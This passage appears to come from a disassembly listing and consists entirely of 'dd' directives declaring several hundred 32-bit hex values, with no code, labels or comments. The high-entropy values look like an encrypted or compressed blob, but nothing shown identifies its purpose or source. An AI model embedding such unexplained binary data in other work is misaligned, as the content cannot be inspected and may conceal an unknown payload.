		dd 7475CBC1h, 0DBDA6EECh
		dd 0DC9CF780h, 0D3C36BFEh, 75CE73E5h, 0A829F97Fh, 4D66C316h
		dd 522D714Dh, 9C13732h,	57308429h, 2F1FF698h, 0CC2F5577h
		dd 2B02C50Eh, 0AF5943D1h, 3E4F8C88h, 0BF1E9F98h, 3FC45E54h
		dd 29EF83AFh, 0E79554C2h, 0C39BD277h, 7E27233Bh, 36911E54h
		dd 2930A714h, 3FE296C2h, 0FE2A63FBh, 0A0357DCAh, 0CE7B3700h
		dd 0E2CF3B72h, 0A13F0A97h, 2372B7Ch, 110058Dh, 4BDA44C4h
		dd 40634E93h, 0BF17A12Ah, 0F8C69417h, 0A47EDDEBh, 4B82DD18h
		dd 0A3DAA5CAh, 4B715BD9h, 821AB0FFh, 65248DDFh,	1ACA6C7Ch
		dd 0E65D3176h, 197527EBh, 0A07B51AEh, 0A55A5D72h, 0A01032CBh
		dd 21E3BD88h, 0AD04D3A3h, 1BCB7F20h, 6476680Ch,	0CE932575h
		dd 22C2429Ah, 205169DAh, 69D7EEE0h, 2AD7BFDBh, 7FF1D540h
		dd 7CDE92F1h, 7C0DB84h,	21E14509h, 0FE9AEF52h, 5F4076FDh
		dd 1D9A126Eh, 0DE3BE80Ch, 65CC27E5h, 7731DEFFh,	0E9EFDC68h
		dd 838AE2F6h, 48AB7A1Fh, 3749854Ah, 324A98D6h, 99A7A477h
		dd 1729B406h, 0B5C02CEBh, 0B2D3535Ah, 732A034Ch, 2D323C00h
		dd 0DBFE8182h, 7FA7E37Fh, 1DDBF452h, 0A1F54751h, 0BEBB9417h
		dd 1D6D4F01h, 0AF6D7BEBh, 83C77462h, 0BEBB4F74h, 12579A87h
		dd 0BE2B1824h, 7E25C98Ch, 0A0EFF7B9h, 0DEC29AF7h, 0AB91B695h
		dd 0D015787Dh, 4C62CB88h, 9EBF943Ch, 11EBBAE3h,	0FDC1B0CAh
		dd 0EC861EA4h, 0C5DC507h, 0D2A99DBEh, 37AE7FB8h, 0C65575C3h
		dd 7903A1AEh, 0EB7AA7C6h, 894C22ECh, 35F87B7h, 92A8058Dh
		dd 607303C3h, 6444AC25h, 4D170248h, 9709F361h, 2845DAE7h
		dd 0FC837D41h, 87607E19h, 0FF196056h, 56C844A8h, 98C183E2h
		dd 10D88F57h, 0E8F22533h, 0CE86374Fh, 161F657Ah, 9B89FA07h
		dd 7958837Ch, 3FDEA8BCh, 94E50D16h, 0A2B2EC1Eh,	5F159E4Ch
		dd 2ACD8470h, 7FC190B5h, 953EBD8Dh, 47CCB5A7h, 0A3A3A143h
		dd 2478BC84h, 95CD2C4Eh, 5AA027CEh, 8F605F62h, 8FFCEA53h
		dd 3B272F8Ah, 3CF3C309h, 798E0ADDh, 0A269F41Ch,	389EC3E9h
		dd 217E7D01h, 0E59290A3h, 94649F77h, 456B9C86h,	0A31253F1h
		dd 0F7C24FCEh, 0E1FFF0E4h, 0DA625AA1h, 5E9FD7FAh, 0DB0A452Fh
		dd 4BAEBD17h, 5FABBFFCh, 7963D9D0h, 4ABE7E3Eh, 8E4B6268h
		dd 0DDB086C2h, 0B1EB8D98h, 0A020D543h, 0FC35B684h, 0B1654CC7h
		dd 5CDEC38Fh, 45BC148Ch, 888B0B1Ch, 0E532CF07h,	0EA4ABC46h
		dd 3A0F567Dh, 34B63CECh, 36E3142Eh, 0A93D35D8h,	84D409CAh
		dd 0E804646Ch, 776B4D48h, 0F7F5A6C8h, 6CF7655Bh, 20B3264Ch
		dd 0DED0914Fh, 35072613h, 1B4E8875h, 32274B22h,	0DDA13FB4h
		dd 0C06AB922h, 13A09E1Bh, 0AFBC8636h, 0C8EFF4FEh, 7CFE9D06h
		dd 76A337Eh, 0FEA64597h, 80B446F6h, 25481368h, 15B1CE16h
		dd 0AD13A954h, 0F5C1EEEBh, 41DB006Fh, 0F011CDA8h, 66E6CC46h
		dd 484D724Eh, 4CFAD69Fh, 0C1F209B7h, 9C7D2671h,	0B461F432h
		dd 0F155C2DFh, 0DCE32E84h, 24D0B393h, 3F652EC0h, 0ADBD98D3h
		dd 27544C5Dh, 9B17834Dh, 0ED3060D0h, 9F3A1B57h,	17765821h
		dd 580C669h, 0FA6DC5Ch,	80145440h, 25D02427h, 0BEB31F48h
		dd 0D98DE379h, 33D00ADDh, 0A304F244h, 9AB3F16Dh, 1D8AB1D0h
		dd 2EDA0890h, 34688944h, 85FC9DE6h, 0A7D9808Ch,	0EC859C5Fh
		dd 0D3ABEC32h, 0CFB56DAh, 0ED6F017Dh, 2A62DA13h, 9159D937h
		dd 5F4B8A0Ah, 24072689h, 0E93EE7A1h, 202E20ABh,	7D44DC35h
		dd 2FB8C859h, 7B5656F4h, 0EDCA611Bh, 7FBC7146h,	0E8E9694Ah
		dd 4407B7BDh, 1F902C07h, 0E51C4B87h, 766DDF9h, 0B9CBB6EFh
		dd 1C4391C2h, 11A7AA5Bh, 0A2FFFE6Eh, 16DA4056h,	4350C0A9h
		dd 7E23DFDDh, 36D96Dh, 0C3D06C04h, 0EED0B4AEh, 90E989A8h
		dd 13A01162h, 5292C3E2h, 0ED69504Fh, 3D5AAD6Ch,	3E40DBECh
		dd 0E467BA13h, 9CB43711h, 11CCCBB1h, 8F76F639h,	0A73A9D75h
		dd 2BFA7434h, 6C010F6Ah, 9C503D04h, 0EC984F87h,	9B2F7959h
		dd 0A9B6CBEh, 0E855E9B5h, 9575D5C0h, 8608B879h,	1168F699h
		dd 1522F5CFh, 0DA093553h, 7347DD70h, 967B2D00h,	22F7BB3h
		dd 59281E4h, 82385090h,	0FBDF63F2h, 90B4A56Fh, 58A08039h
		dd 2D37E119h, 0E8EDC45Ch, 3420DAEBh, 2AE222ABh,	1E865B44h
		dd 948AE42Fh, 4E3C3751h, 7E5D7BD9h, 0B99004E9h,	0F5CCDEF8h
		dd 2215D2Fh, 3CA89C16h,	0B1AE6EF6h, 0A537520Ah,	0B551C617h
		dd 914F8416h, 69D851F7h, 9384817Bh, 0B887FA6Ah,	0B96E68Eh
		dd 2562BB88h, 0DF0BBDC6h, 0C18CABD3h, 0C1A300E8h, 8157CD4Dh
		dd 0B407A11Ch, 20629B1Ah, 4ADD83Ch, 7F3167FCh, 6D738FAh
		dd 0A4C4AEA0h, 0E4A0D74Ah, 0AD0C228Ah, 96205FCBh, 93C74690h
		dd 0CB77718Eh, 0B432E258h, 0D40757DAh, 113A0C38h, 0CDB7E051h
		dd 0FF0EF70Fh, 2878E712h, 0FFD75FA1h, 3A52F451h, 0E2141EFDh
		dd 0D25C621Ch, 3470011Bh, 29FD9CE5h, 8ED9DF1Eh,	1C48CAFCh
		dd 9BAAACBCh, 4247163Ah, 0EC7FEF88h, 0C85CB382h, 0BAE34B16h
		dd 0CDC4E4F0h, 0F9506375h, 285B0851h, 6738896Eh, 835A182Dh
		dd 9D5097FAh, 0BD34718h, 4A13E1B4h, 563B6A0Dh, 0B6477D27h
		dd 0F6BD154Ah, 181D7C48h, 89563FB7h, 0F139059Ah, 49F898ADh
		dd 116FECDh, 0B131C024h, 733C390Eh, 0FD530EA4h,	0BFB307D3h
		dd 0ABD8888Eh, 479327F6h, 0BBE07212h, 5697B10Ch, 5A4F91FFh
		dd 0FE1CE41Bh, 3A765384h, 0E702AA15h, 3331B940h, 0A763A1E4h
		dd 0DCC24089h, 2EF70BA2h, 0B2354D2h, 8F2CC0CBh,	788D503Fh
		dd 0F2860112h, 0A0397CDAh, 0B812A11Ch, 0D6975DEDh, 0D78E9394h
		dd 6C03BCD9h, 0DB44E192h, 793A5717h, 25134D57h,	602F30AFh
		dd 4ECF732Bh, 0F7ED7EF4h, 8D6AB5F8h, 0FB8F5CE1h, 83A06400h
		dd 6D691095h, 0F7D96F63h, 99422E11h, 73E73162h,	269C5730h
		dd 3CF7ACF7h, 2941B036h, 6147BFB8h, 889C5EFCh, 18A2E395h
		dd 1D1AE108h, 0CFB866DBh, 1E13946Bh, 0BF2B2326h, 71156377h
		dd 7A64202Dh, 23B852AFh, 5FDEA69Ah, 14E553B2h, 0F45BDC6h
		dd 19867E1Bh, 0EE9F0B20h, 559FDEE7h, 0AABAB2EBh, 0A56D350Dh
		dd 0B54CD28Fh, 8825864h, 0DFC5A164h, 0EE11E766h, 0E1E92A92h
		dd 0C6004712h, 0A168591Dh, 11FB8DCCh, 84547525h, 7A817A35h
		dd 0F5D48CBDh, 9AB0C8D4h, 0CA6B164Ch, 71EC8B30h, 0C15C6DEAh
		dd 9CF3BEE9h, 6D222BC8h, 0F06C2501h, 0BE526EC7h, 2A9DAA8h
		dd 2D22CC15h, 96A3EB08h, 4C2990AFh, 0F1D59D50h,	4BCC0617h
		dd 0A3E12B45h, 0CD8BE899h, 99D9BD01h, 359B878Eh, 0BD28F2CDh
		dd 613C06EBh, 9DF044A1h, 7A4BA2CAh, 0BB7FA41Ah,	0E6A66310h
		dd 0C76115C4h, 26791E9Fh, 11577B9Fh, 0A9704A5Eh, 3FE2DACh
		dd 42E556E2h, 0A23339C5h, 1B68B9FFh, 0E732951Eh, 0E2A877Eh
		dd 46DEE061h, 8DA8FE7Ch, 69E0F4DEh, 467E36A6h, 9A6BC1C5h
		dd 4E6FEAECh, 4FC51014h, 0C2826280h, 816C1E49h,	0E6EF4F72h
		dd 229CF954h, 3781646Bh, 1C91E825h, 8F36B9EDh, 0CFDD39A9h
		dd 8409DD5h, 2CCD41BBh,	0CF0C0489h, 5E42B274h, 0F76E91D7h
		dd 0BE8AA07Ah, 0B8DF0D38h, 7E68C13Fh, 3F4091EBh, 4B38E9D5h
		dd 11AAF73Dh, 0B252C55Eh, 31DC8FF7h, 1C30B103h,	98361A5Eh
		dd 5AB7F519h, 3BB1785Fh, 0B05FD94Ch, 0CAB9788Fh, 0D674702Ch
		dd 0A305A61h, 15388FF2h, 0FC9E15EEh, 1A7E69CBh,	0CAA02577h
		dd 4401BC02h, 0E318DDF6h, 32CF68BCh, 0A124466Eh, 0FC4DDF81h
		dd 0E5E5E555h, 0CF8C4BBDh, 0A67941ECh, 49429E03h, 845041D1h
		dd 378FCFB8h, 3890ED70h
		dd 79C4A877h, 0DBA1C05Dh, 0D7C4061h, 8B5FFB34h,	99EDE3C3h
		dd 41C9A08Eh, 9F5DF735h, 231B1226h, 4050CCEFh, 0B95870FDh
		dd 0BE96E6EEh, 234387CAh, 8AEC2F7Dh, 5D7DA1Ch, 5ED18158h
		dd 95B28771h, 0D410CCF9h, 8A4971CAh, 5ECA42DEh,	3A3CB3E2h
		dd 714C0903h, 802BFA8Fh, 7C4539C2h, 91F307D7h, 0E4922973h
		dd 0EEC996DFh, 0FB044924h, 65FB6E95h, 0FE57DAF5h, 0A2B8ED1h
		dd 47C5BE9h, 3212FFAAh,	6AE59241h, 0B6BE7AF9h, 0E6B5EDF0h
		dd 8D87EB15h, 0E3D74C64h, 4E0B2299h, 0E8363EE9h, 674EDDEDh
		dd 63EF6A24h, 7DD937E5h, 0C220F8F7h, 0F66CCB0Ah, 62FEDC54h
		dd 0D1C14736h, 844C72EDh, 565935B2h, 0E815E739h, 0B0AD54A1h
		dd 0D92F70Eh, 3369A032h, 33042B5Bh, 0B464E8D2h,	0D8078EE9h
		dd 92CD5CB5h, 0E552D05Bh, 38345721h, 29FD9E9Ah,	7CEF60FBh
		dd 0D6213A0Bh, 0D373973Bh, 0FC53AB83h, 2091393Eh, 0C4E10F5Bh
		dd 8DC191EDh, 0F499E4FBh, 0A2EE3401h, 74E68B28h, 9B83E4C8h
		dd 57ACD71Ah, 4434A207h, 0BB5849A6h, 519B973Bh,	9EE4DA3h
		dd 0D22B4662h, 0EE6BD3Fh, 0DDCC726Bh, 5597E4A1h, 0DA02B06Ah
		dd 99A2C338h, 0F8ED57C0h, 201F4130h, 54EA4F98h,	0D91C458Eh
		dd 71B09AA8h, 50EF47F5h, 40DD1D66h, 8900ECB2h, 48DF9081h
		dd 175BC3C3h, 0BFBD5479h, 473C0C5Fh, 71B7EB89h,	2AC53E81h
		dd 766B9052h, 0A7756E7h, 0D1E76247h, 0D4446C74h, 5597E867h
		dd 2A2E7FEDh, 0C1047422h, 5943C80Eh, 8275D082h,	629A8228h
		dd 0C44D98CBh, 340C2E19h, 58EE3107h, 0C7D555A2h, 8CA5615Ch
		dd 33415CD8h, 0B35240F5h, 364D84D7h, 0D59246C8h, 159B086h
		dd 0EE9E72FEh, 1262E162h, 0A13D966Eh, 1F372900h, 0B4199FB7h
		dd 6606342Eh, 850C0C5Eh, 68E49486h, 45212771h, 95F91FC6h
		dd 5736D3F4h, 97277C45h, 4295F323h, 0EC1F86D8h,	3190152Ah
		dd 1A360486h, 0B8EB9467h, 9E5AC04Eh, 0BCB79395h, 0B9DCA404h
		dd 2C2D8393h, 0C169DDCFh, 49ACF466h, 63549C23h,	27F698BFh
		dd 0AA033E8Fh, 4A6E875Dh, 30490575h, 0AB6D3498h, 0D79B0813h
		dd 0AD7632CEh, 0A55B33E5h, 0AE131007h, 10A54B7Fh, 0BF34E2F1h
		dd 0D74C7EACh, 19AEE37Eh, 7A2E859Bh, 6977AED4h,	0E1376054h
		dd 0DA5137CAh, 0B85ADD10h, 0F5BDE73Bh, 93228422h, 5DAF970Ch
		dd 43279531h, 8E635300h, 7C5FAFC3h, 9B8D1A35h, 641D92CBh
		dd 4DC1ED2Dh, 463E6F6Eh, 90210352h, 72A2CF37h, 2FFF87B6h
		dd 0BD0AF0D0h, 1F0B38A2h, 0DC4154FCh, 83A0B11Dh, 0E23EEE72h
		dd 52529EB1h, 8DC10B07h, 0EC805DCDh, 0B334DA4Eh, 54A28B69h
		dd 2E0CEF9Fh, 2BAD0020h, 0F8B75A81h, 5F90A20Dh,	0C67EBC20h
		dd 2AD6630Dh, 4D305637h, 1956C8A2h, 9C33F0F9h, 45133B9Bh
		dd 70F90436h, 2DFD95Ch,	0EC47FDE8h, 73513C03h, 0C81AD62Dh
		dd 2C11DEFEh, 2374D5BAh, 0BD79B15Dh, 0D1315033h, 4F602865h
		dd 7C0609A9h, 772A2247h, 0E2FE5E74h, 1F925B4Ch,	2DEE4611h
		dd 0F41C8560h, 0B7C7EE37h, 83E583D0h, 0EC6DCA5Ch, 0D5C265B7h
		dd 0DAFEC53Eh, 0FA9B56A0h, 9FCC43C1h, 10571886h, 0F0103402h
		dd 136307BBh, 0EB437E9Dh, 55BD7CF1h, 1B6A8B43h,	0BC79CC6Ah
		dd 3B0773BCh, 0D6606E69h, 74BE6DFh, 55406F52h, 0AB879447h
		dd 75D2405Eh, 46C9E982h, 0CE45D52Eh, 978481D2h,	0A886B4CEh
		dd 0FAA177FEh, 0F798EB82h, 249D74A1h, 0BEC65235h, 0F6595AA6h
		dd 0F1131551h, 70523B54h, 0B1C1E193h, 0ECAEF55Eh, 1A5B075Ch
		dd 78F96F62h, 6989B2DCh, 0A60FD202h, 2438948Ch,	6B93EE0Fh
		dd 8AEE8590h, 4F4855DCh, 10258854h, 96409E16h, 80A63967h
		dd 358D2214h, 3AC53287h, 381C3448h, 0C12FEC9Eh,	0A664D71Ch
		dd 57A78B2Ah, 2D922C7Eh, 2EDA32C3h, 0ADD470F2h,	0A1AEDE8Bh
		dd 80BC149Fh, 7635B71Bh, 0DAC44B7Eh, 0B1E0E679h, 0A1901EEh
		dd 0ED12CAEFh, 6F359448h, 44A41EFFh, 4E3C1AF2h,	46DCA15Bh
		dd 5BD68430h, 0BD9CE392h, 0FCF42862h, 0EC525BEFh, 7F9D83Ch
		dd 0DA6518Eh, 0DDA94541h, 5B2116E4h, 0F5250A23h, 1E167F00h
		dd 0D989B6B4h, 0B2D85464h, 8AA23B75h, 0D07AF194h, 0B0153523h
		dd 0C7840627h, 2FF7327Ch, 0E814A3FAh, 4AE2B8BDh, 0A0C36D17h
		dd 37C52ADFh, 82417D0Ch, 53E614DAh, 545F0DADh, 33004C1Ah
		dd 21805EA9h, 0C76FF7A4h, 36BC9E42h, 2B4BC561h,	0B7D3947Dh
		dd 24862F32h, 0A04263A3h, 62F299FCh, 0C3B4ABBFh, 72E7F2EEh
		dd 5FCB9DDCh, 0BB720B73h, 1B1B97BAh, 0B303422Fh, 8B82B5CFh
		dd 25AEF794h, 0E0CC2743h, 1E2FB23Ah, 9F6E222Fh,	80B938D6h
		dd 1C9D7AADh, 0D5EA8093h, 0F09957EFh, 397E6EEEh, 73CA8B5Dh
		dd 2D97574Fh, 0DC7B1DC3h, 0FFC17Ch, 0CFA51D90h,	81F0F76Eh
		dd 0C261760Bh, 31A93FD3h, 95E084ADh, 72FF4AF0h,	0F77C73Ah
		dd 0C4C36BC2h, 0C73A4B7Ah, 0B4BED5D1h, 0B57860DEh, 6DA0E55Fh
		dd 0CB409BCBh, 0FECD3D7Eh, 7548D38h, 4E34090Bh,	2C11742Ch
		dd 4BE52C31h, 0D2D6DE0Eh, 10A124D0h, 5A5F8D7Eh,	5AD086EFh
		dd 6EF16BA6h, 0EE34BFA4h, 2EFCE4C1h, 6109EA17h,	5D9E4347h
		dd 0B4084B62h, 353E52Bh, 9B79828Dh, 50C2CD92h, 85C793B7h
		dd 0F3200025h, 19576241h, 540DF07Ah, 161833CFh,	482A97BBh
		dd 0C806F452h, 798F82BCh, 0ED511E57h, 0E6C2F4Dh, 29255F55h
		dd 96D222FBh, 35B4D0A3h, 0F7C345C2h, 32A53943h,	0F142E7Eh
		dd 0AEB9C9D7h, 95190FA5h, 0A07CBC77h, 0D613213Fh, 0A8FCCAE0h
		dd 45D28689h, 43078B58h, 12E042B1h, 0F62AD794h,	0AEA7AB2Ah
		dd 0CCAC2A8h, 2CA50AEDh, 5271ED13h, 558522CCh, 828B25F6h
		dd 821BB042h, 20167215h, 7C03FE72h, 47D81BB3h, 4DC7608Fh
		dd 0ADB88288h, 9D7B6F62h, 0F5138323h, 0DB73765Dh, 8C2F5D4Eh
		dd 45579F84h, 1A1AD2D8h, 0B43BFFA7h, 10A09983h,	0DC1A8716h
		dd 5D5EC5FBh, 3F13D891h, 2CB2BC52h, 5D061A8Dh, 0A79E050Ch
		dd 3E633484h, 53CF1452h, 0EAB5EA10h, 0E63665C2h, 0CFF9B285h
		dd 0C854D528h, 0CDBB9083h, 0F0D643Ch, 2083A2DAh, 0E408631Ah
		dd 20D23B58h, 98A42EBDh, 89733142h, 0C148FD71h,	0B08FD635h
		dd 183F474Dh, 257F5699h, 2AEC9CA7h, 2EF2ABA7h, 2B9C61C8h
		dd 23AC8E5Eh, 0EFBC3931h, 0B2E1946Ah, 0F634E551h, 46644E35h
		dd 78B52FC8h, 0C5E63568h, 4AA3EAB8h, 2858EE9Bh,	0AACBA01Ah
		dd 5B8DA819h, 3E94D8D1h, 4844C131h, 1488592Ch, 3C0090D8h
		dd 5C6FEA7Ch, 0BC5493h,	96C35408h, 44854B5Dh, 64D6F255h
		dd 33491646h, 4200122Ch, 74136FC6h, 0BF0BABB7h,	63ED9B05h
		dd 86584A70h, 21A0E45Ch, 0E534C38Eh, 9F489AF9h,	8840FB07h
		dd 415EEDFAh, 2FFC510Dh, 69BB1943h, 39BB775Eh, 0A27F91F5h
		dd 0F781D683h, 483D09DFh, 7698AE0Bh, 0D888AB07h, 66FB88A1h
		dd 0C7B9E80Ch, 0C5D2BFB5h, 62A10439h, 0A206E213h, 0CFFAF1F3h
		dd 25BD3A61h, 0BECBCFD0h, 43F51168h, 82B699FCh,	0E8DE4AD0h
		dd 3251954Dh, 465C1131h, 0F3D5516Ch, 0EC737845h, 3BED419Ch
		dd 8B9F57AAh, 3F424F83h, 0CF4D4BF8h, 0EC930EE6h, 0BCBE3803h
		dd 0C64729Ch, 2D4BEEA1h, 11F0F562h, 0AC34EC84h,	32565EEBh
		dd 0B48E2069h, 97420226h, 707B7D64h, 43D7E103h,	0B4A46ED3h
		dd 29AA7A37h, 5563F8BBh, 0E50CAFDFh, 79230D5h, 9CDF60D4h
		dd 2FA92314h, 0EBC29DF7h, 7F0D16ECh, 71AF37E5h,	87B85FD5h
		dd 2525D59Bh, 0CA13B266h, 0FC4F68C5h, 9E5A3B81h, 36E8A178h
		dd 0D4893D12h, 0C0EC2446h
		dd 86E2AD17h, 4A945C1Ah, 0C6B091E5h, 579B4287h,	8164DD68h
		dd 2A2A8126h, 74622733h, 0E3295722h, 54879E80h,	0EA68EBF5h
		dd 0B3C2B4F8h, 0E3337FFFh, 1780E547h, 0F97F6511h, 8042FC14h
		dd 0D4DA6145h, 28EDFFE9h, 0F2665DF4h, 0E573FE15h, 0A605A9D6h
		dd 0A93FA793h, 2A9658BCh, 68110C1h, 0FA3B49A6h,	88E2F1D6h
		dd 0D43557FEh, 1D91877Ah, 12D615Fh, 0BB4C602Dh,	0AE57E13Eh
		dd 30839EBBh, 1B3A6BF7h, 0FB394EDCh, 65DE38C2h,	0AA64A062h
		dd 0B596575h, 0AAF96730h, 7066D364h, 5F74E1Dh, 7CA4CC33h
		dd 0EC7285DEh, 0E8CBE123h, 4928247Dh, 0B96CEB41h, 2DCC435Ch
		dd 70AFF0E4h, 887DD785h, 203D547Ah, 5DC93C15h, 3AD09C5Dh
		dd 0E5EA4D74h, 8D4BBAAAh, 0D018FB80h, 7E19E85Eh, 0BF12F595h
		dd 318CA695h, 189C487Ch, 1029CC2Fh, 2E55163Bh, 0BAED0512h
		dd 0C6B55401h, 2ED9E65Ch, 49FBFF6Dh, 88967AE5h,	3936E7CFh
		dd 0A2E8AF48h, 679F4996h, 0DC8DC53Fh, 4FDE19CBh, 9E5692ACh
		dd 2D576F5Dh, 0F2606663h, 0D02C6F2Fh, 0E19851B0h, 2D597771h
		dd 6AF87203h, 354B9771h, 5482B0CFh, 0F2D4541Ah,	0C0FB0B9h
		dd 0B0559D46h, 0C930B7D0h, 0BBB4000Ah, 0C59BE9AFh, 4DA87054h
		dd 0FC213779h, 0CBD7FF86h, 0BC59AB63h, 535BEF56h, 4D86EFD8h
		dd 0C8F083CBh, 3CB721E8h, 0F5885C01h, 8B3B1A47h, 986D4737h
		dd 0EEFC4A98h, 6B1520Ch, 7ABFA36Ah, 265CDB45h, 0B3C919ABh
		dd 0AD57F694h, 277F2F4Eh, 0FA1BAD64h, 349B1A2Eh, 395AA95Fh
		dd 7CAA6198h, 0DE818CE3h, 0A43BA63Ch, 7651328Ch, 0E10D8A85h
		dd 0F3C407C4h, 0AFA6E467h, 0D7C9EEDAh, 8519CBCCh, 3B91D904h
		dd 55DB2CA0h, 0B981CC7Fh, 29B5F759h, 8FEBC3EAh,	948BC9AAh
		dd 0D52C8A4Dh, 56195675h, 6B4A14h, 0A328DCDAh, 4F68EB3Ah
		dd 6AFC8D29h, 0E0C6EC39h, 1D092409h, 46D9791Ah,	5AB3E088h
		dd 12EA332Dh, 0D6D1266Bh, 932CF7ADh, 24117A79h,	876D62B5h
		dd 8818FA9Fh, 0ED3209E9h, 0FB1202CDh, 2456FC0Ch, 0C726EBBAh
		dd 0B913602Eh, 5420EA31h, 0D2A8AEB0h, 76E01BD3h, 52BBBF6Fh
		dd 0F27364EAh, 2CDEF2F8h, 0D90C4E20h, 0D5837D86h, 3383F123h
		dd 9ADA4A49h, 2F08B4D1h, 67D3101Eh, 36F9F2Bh, 0E595843Bh
		dd 5ACE3AB8h, 5346EF5Eh, 0C947E09Ah, 7A47ACAEh,	83DD699Dh
		dd 5B769AA3h, 945064F6h, 0C2724C54h, 0E3E9366Eh, 876DDE04h
		dd 6CC385BBh, 51E426D4h, 0EF348DDEh, 83E8DBAAh,	0A932F817h
		dd 99438A63h, 3926803Ah, 676EE255h, 0B9C7F54h, 22E506C4h
		dd 5A13EEDh, 0D1CC45A1h, 6BB1603Dh, 0A94E5008h,	292FF8F8h
		dd 973063A9h, 7314815Ah, 0F8BF216Eh, 99557929h,	0BCE41A94h
		dd 0A986B733h, 5C937684h, 0BA441F0Eh, 56769C06h, 3C7B3896h
		dd 6EF5A8BCh, 0B0738566h, 0BEB5195Bh, 0D32CEA97h, 0DEFC5A61h
		dd 4CD559A5h, 0CB37760Dh, 7DF8A790h, 3E1A7ACFh,	28DE41D9h
		dd 4011FA68h, 74F9994Ch, 8DBD3D0Ch, 0ABA85E42h,	4BE46C5Bh
		dd 0A7EBDFBEh, 60396CEEh, 0E1351ECDh, 0FA0973BAh, 0F0BC02FCh
		dd 4D2449E2h, 767AD74Ah, 3AF0147Fh, 0DF46032Fh,	1313AB7h
		dd 0CF7741A7h, 0E8F65425h, 0A6207DF4h, 0A2A98DE3h, 2D45B21Dh
		dd 0AD8C35D9h, 539F27F2h, 8419E3F0h, 0A6FCC7FEh, 4106A790h
		dd 0F3D0E40Eh, 98918395h, 0BA6A05B5h, 49808EB9h, 0E409BCCEh
		dd 4A924CABh, 0FD864877h, 36C10F61h, 531357A9h,	6139146Ah
		dd 5F45E174h, 0E81243E9h, 924038D7h, 801325C5h,	108A19B4h
		dd 0EE899ACCh, 0C82757E4h, 0EC82F26Eh, 0C754CCBEh, 8C9D8A73h
		dd 0C88911B2h, 1707FB17h, 0CE2E71E2h, 0BD7CA737h, 4C4F69C5h
		dd 0F8AFF4CCh, 0A1B07E0Ah, 896F3B50h, 40E382B7h, 0CED00503h
		dd 497C31DFh, 0F47ED8DEh, 47F20F2Bh, 5D590332h,	41D6673Ah
		dd 8D30D44Ch, 698F144Ah, 0F05639B6h, 0CE03AC20h, 66263h
		dd 0B72A7B0Dh, 0ED96791Bh, 33D86A0Fh, 0C433AA23h, 4F2D7CAEh
		dd 2770BD34h, 4A9A0C58h, 0A224444Ch, 0A9E10C75h, 0C810212h
		dd 3FF85DA9h, 53602F67h, 7C871966h, 347AF64Bh, 0DE7629F4h
		dd 0B3068410h, 66C6AC38h, 8EA5D54Bh, 47EBAE51h,	87CEE83h
		dd 5F9C371Fh, 6264F588h, 0EE0323CAh, 0E3D05CAFh, 976BAFAFh
		dd 0CC50EC7h, 5338AB26h, 0EB2C10E3h, 57145F08h,	0D2DED6C7h
		dd 0C7A81694h, 0DB62D7D6h, 96F49E08h, 57B77C5Fh, 72907646h
		dd 138D4786h, 0A97132D4h, 9E8564F1h, 7659DCB6h,	84FD3968h
		dd 5886C521h, 7C8527BEh, 0C9B657FCh, 66A3B19Eh,	60BD3D6Ah
		dd 6AC6B5B3h, 0D386F860h, 4CA6F37Ch, 88B25291h,	3A5D439Dh
		dd 3A3F8C4Ah, 278F5BBAh, 8DCF36BEh, 0E7A5C649h,	55140A79h
		dd 2C9B7A83h, 0C09140A3h, 0E23CBCDDh, 97B7EF2Fh, 0A5097306h
		dd 9406E9Fh, 1CA62128h,	39A05Fh, 53401207h, 0A4E28EFAh
		dd 0DE46928Ch, 5E68B0BFh, 3315A0DBh, 0D4F203CEh, 5C83A476h
		dd 3D62C00Ah, 43909E84h, 19E0B030h, 4F25CF8Dh, 1CFCC701h
		dd 0F4FB9AC1h, 5F2B78A4h, 9A7145BCh, 3C315D4Dh,	0AF3B295Dh
		dd 3500010Ch, 20CF4ABEh, 0CCB5FF6h, 5D398674h, 901F960h
		dd 893328E2h, 75BE6B4Bh, 0CF484E96h, 0EB614769h, 8A4DE9B8h
		dd 9642A546h, 0FD5B6BF8h, 7BAB112Bh, 0CC87CAD9h, 97CBB202h
		dd 0B7810BC1h, 0FFEB5D03h, 0CB37568Fh, 0B04E07h, 52722BB2h
		dd 288129DFh, 41A73A7Eh, 311CAADDh, 9D71CF7Eh, 877E1B10h
		dd 0BE26C850h, 0EE0E536Bh, 5CAA3A26h, 0CAB14E16h, 0FC8671A9h
		dd 3E04B197h, 0BADC7E7Bh, 0FE06212h, 0C0409E47h, 675FC17h
		dd 0FC470E06h, 67A61332h, 76A69362h, 5081773Dh,	69FB7358h
		dd 905CC6EFh, 7E9F2008h, 516B0FD1h, 4A21D16Ch, 0F81B1041h
		dd 9007FCB5h, 224B0214h, 0FAFE7F53h, 6F3306BBh,	29A31F16h
		dd 7CE5A5ACh, 4361439Eh, 57A0E77Fh, 0BBEECE2Dh,	27DF271h
		dd 0B65D703h, 0AC08E0E9h, 8A555833h, 5762FC22h,	769BEB8Eh
		dd 2429B88h, 0EC8A4DABh, 79443ECFh, 4CE37093h, 0C62888C5h
		dd 1714B5F5h, 0A57176BCh, 6009907Eh, 0BCB37965h, 0EB06DEBAh
		dd 0FBFC258Fh, 64380B5h, 66A91827h, 0EABE1BAAh,	0D184EF5Dh
		dd 13BA1207h, 1E554BD0h, 0F4760ECEh, 44308705h,	0D58FB5C5h
		dd 860B843Eh, 0CE1BCA90h, 7B95F15Ah, 2AB4CFF1h,	0F4A44970h
		dd 316D76DFh, 1071BC95h, 0C6018B92h, 1B3C198Ah,	0B06D3E82h
		dd 977F6408h, 0CB213DD2h, 0F5200E12h, 0DCBCAC24h, 0F6EB7FF5h
		dd 68489C52h, 0FA07A8B0h, 6FD85F81h, 2680F25Eh,	0DC81D181h
		dd 0DA14B0C1h, 6EB857CCh, 26D16634h, 193999F8h,	0D78B4AFCh
		dd 8F2D25EEh, 0A450D74Bh, 0F40E06B8h, 48C2768Fh, 851CCD3Eh
		dd 0FC554DE0h, 7AA70BF3h, 9FB62E9Eh, 0B3D015F7h, 5DC5D2EBh
		dd 2B5E482Fh, 0E1EFEAC0h, 518C01E5h, 794F93C8h,	0D72EAF02h
		dd 0DAD6842Ah, 0C3ADAB47h, 85474352h, 6880C724h, 0D7B70290h
		dd 1431B413h, 77256D88h, 4B25C6D5h, 11BA466Dh, 14AF2A46h
		dd 6FB6C333h, 4C8B18A1h, 0D033BCD6h, 5DF99509h,	72BEC7D7h
		dd 0DCB761A6h, 0CA687B21h, 9A5B458Fh, 605BF6BAh, 5FF06834h
		dd 0B2EE9850h, 0D45E5871h, 25750BBCh, 7094B584h, 54EDC79h
		dd 91A78B9Eh, 7635221Dh, 0BAB00BDh, 9A75F699h, 63240480h
